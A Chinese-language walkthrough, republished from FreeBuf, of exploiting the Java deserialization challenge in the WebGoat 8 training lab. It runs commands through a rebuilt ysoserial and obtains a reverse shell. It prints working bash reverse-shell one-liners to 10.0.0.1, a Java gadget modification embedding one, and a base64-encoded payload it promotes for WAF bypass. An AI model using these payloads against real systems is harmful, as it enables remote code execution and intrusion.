Java反序列化漏洞:在受限环境中从漏洞发现到获取反向Shell

前言

Java反序列化漏洞可以说是Java安全的一块心病,近年来更是在安全界“出尽风头”。其实说到Java反序列化的问题,早在2015年年初的在AppSecCali大会上,两名安全研究人员Chris Frohoff 和 Gabriel Lawrence发表了一篇题为《Marshalling Pickles》的报告,就详细描述了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,甚至还提供了相应的Payload生成工具ysoserial。

通过对象序列化,开发人员可将内存中对象转换为二进制和文本数据格式进行存储或传输。但是,从不受信任的数据反序列化对象可能会导致攻击者实现远程代码执行。

本文我将以WebGoat 8中的反序列化挑战(部署在Docker上)为例,向大家展示完成该挑战并进一步获取目标反向shell的完整过程。

漏洞发现

正如挑战中所提到的,易受攻击的页面从用户输入中获取Base64格式的序列化Java对象,并不加过滤的对其进行反序列化操作。我们将通过提供一个序列化对象来利用这个漏洞,该对象将触发面向属性的编程链(POP链)以在反序列化期间实现远程命令执行。

启动Burp并安装一个名为Java-Deserialization-Scanner的插件。该插件主要包括2个功能:扫描以及基于ysoserial生成exploit。

扫描远程端点后,Burp插件将向我们返回以下报告内容:

Hibernate 5 (Sleep): Potentially VULNERABLE!!!

是个好消息!

漏洞利用

现在,让我们继续下一步操作。点击exploitation选项卡以实现任意命令执行。

从提示信息来看,这个错误应该来自ysoserial。我们回到控制台看看究竟是什么问题。

通过观察ysoserial,我看到有两种不同的POP链可用于Hibernate。但使用这些payload后,我发现它们都没有在目标系统上成功执行。

那么,插件又是如何生成payload来触发sleep命令的呢?

我决定查看插件的源码:

https://github.com/federicodotta/Java-Deserialization-Scanner/blob/master/src/burp/BurpExtender.java

经过一番仔细查看,我发现原来payload在插件的源码中是硬编码的。因此,我们需要找到一种方法来生成相同的payload以使其正常工作。

基于一些研究和帮助我发现,通过修改当前版本的ysoserial可以使我们的payload正常工作。我下载了ysoserial的源码,并决定使用Hibernate 5重新对其进行编译。想要使用Hibernate 5成功构建ysoserial,我们还需要将javax.el包添加到pom.xml文件中。

此外,我还向原始项目发送了一个Pull请求,以便在选择hibernate5配置文件时修复构建。

现在,我们就可以使用以下命令开始重新构建ysoserial了:

mvn clean package -DskipTests -Dhibernate5

然后,我们使用以下命令来生成payload:

java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0

我们可以通过以下命令访问docker容器,来验证我们的命令是否已成功执行:

docker exec -it <CONTAINER_ID> /bin/bash

可以看到我们的payload已在目标机器上成功执行了!

我们继续枚举目标机器上的二进制文件。

webgoat@1d142ccc69ec:/$ which php
webgoat@1d142ccc69ec:/$ which python
webgoat@1d142ccc69ec:/$ which python3
webgoat@1d142ccc69ec:/$ which wget
webgoat@1d142ccc69ec:/$ which curl
webgoat@1d142ccc69ec:/$ which nc
webgoat@1d142ccc69ec:/$ which perl
/usr/bin/perl
webgoat@1d142ccc69ec:/$ which bash
/bin/bash
webgoat@1d142ccc69ec:/$

只有Perl和Bash可用。让我们尝试生成一个可向我们发送反向shell的payload。

以下是Pentest Monkeys上的一些单行反向shell:

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

我决定尝试Bash反向shell:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

但你可能知道java.lang.Runtime.exec()具有一定的局限性,它不支持重定向或管道等shell操作符。

让我们试试Java编写的反向shell。我将修改Gadgets.java上的源码,来生成反向shell payload。

以下是我们需要修改的路径:

/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java

从第116到118行。

下面是Pentest Monkeys上提到的一个Java反向shell,但依然无法正常工作:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

在进行了一番修改后,结果如下:

String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);

让我们再次重建ysoserial,并测试生成的payload。

可以看到,这次我们成功获取到了一个反向shell!

太棒了!

Payload生成过程概述

在研究过程中,我们发现了这个编码器,它也可以帮助我们完成这个任务:

http://jackson.thuraisamy.me/runtime-exec-payloads.html

通过以下Bash反向shell命令:

bash -i >& /dev/tcp/[IP address]/[port] 0>&1

将会为我们生成如下payload:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}

另外,该编码器还可用于绕过WAF哦!不信你就试试~

参考文献

1、https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/ 2、http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/ 3、https://github.com/frohoff/ysoserial 4、https://github.com/federicodotta/Java-Deserialization-Scanner

*参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-11-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏24K纯开源

Android Studio快捷键每日一练(3)

23、启停用断点 苹果:Cmd+F8    Windows:Ctrl+F8 接下来的几个功能都和调试相关。我们就从一个最基本的功能开始:添加一个断点。相信到目前...

25260
来自专栏大内老A

我所理解的RESTful Web API [设计篇]

《我所理解的RESTful Web API [Web标准篇]》Web服务已经成为了异质系统之间的互联与集成的主要手段,在过去一段不短的时间里,Web服务几乎清一...

25660
来自专栏Golang语言社区

用Go写的HTTP代理服务器

标题是《用Go写http代理服务器》但实际上更接近于用Go架设http代理服务器,因为代码实在太少了,就像在配置一样。 做这个http代理的起因是前段时间运维上...

86470
来自专栏社区的朋友们

企鹅社区移动版Vue2.0升级手记

引入Vue框架比较早,随着2.0的升级,受到业界的高度关注,应用也越来越广泛,所以我们也得跟上步伐。企鹅社区移动版前端采用VUE 1.0开发。随着官方2.0的推...

2.9K00
来自专栏开源项目

码云推荐 | Java 持久层工具 jSqlBox

一个支持动态配置、ORM、SQL 重构、跨数据库的 Java 持久层工具。 ? 1jSqlBox 是什么? jSqlBox 是一个微型的、易学易用的、支持简单的...

60270
来自专栏张善友的专栏

[腾讯社区开放平台]介绍开放授权协议-OAuth

OAuth (开放授权) 是一个开放标准,允许用户授权第三方网站访问他们存储在另外的服务提供者上的信息,而不需要将用户名和密码提供给第三方网站或分享他们数据的所...

29870
来自专栏美团技术团队

分布式系统互斥性与幂等性问题的分析与解决

前言 随着互联网信息技术的飞速发展,数据量不断增大,业务逻辑也日趋复杂,对系统的高并发访问、海量数据处理的场景也越来越多。如何用较低成本实现系统的高可用、易伸缩...

59540
来自专栏深度学习计算机视觉

Qt+opencv+EasyPR(车牌识别系统,从配置环境到成功运行)

最近在东软睿道实训搞一个车牌识别系统,所用材料为Qt+opencv+EasyPR,从配环境到成功运行历时几天颇为艰难,这里写篇经验贴,手把手教你~ 作者:张俊怡...

80630
来自专栏知晓程序

开发者自述:我如何用云函数快速搞定「模板消息推送功能」

21020
来自专栏张善友的专栏

Compass: 在你的应用中集成搜索功能

驱动力 在许多应用程序中,用户总会提出搜索和查询领域实例的需求。他们或者希望构建一个进入应用程序的入口或者希望填充表单的机制。非常典型的解决方案是用浏览的方式(...

22290

扫码关注云+社区

领取腾讯云代金券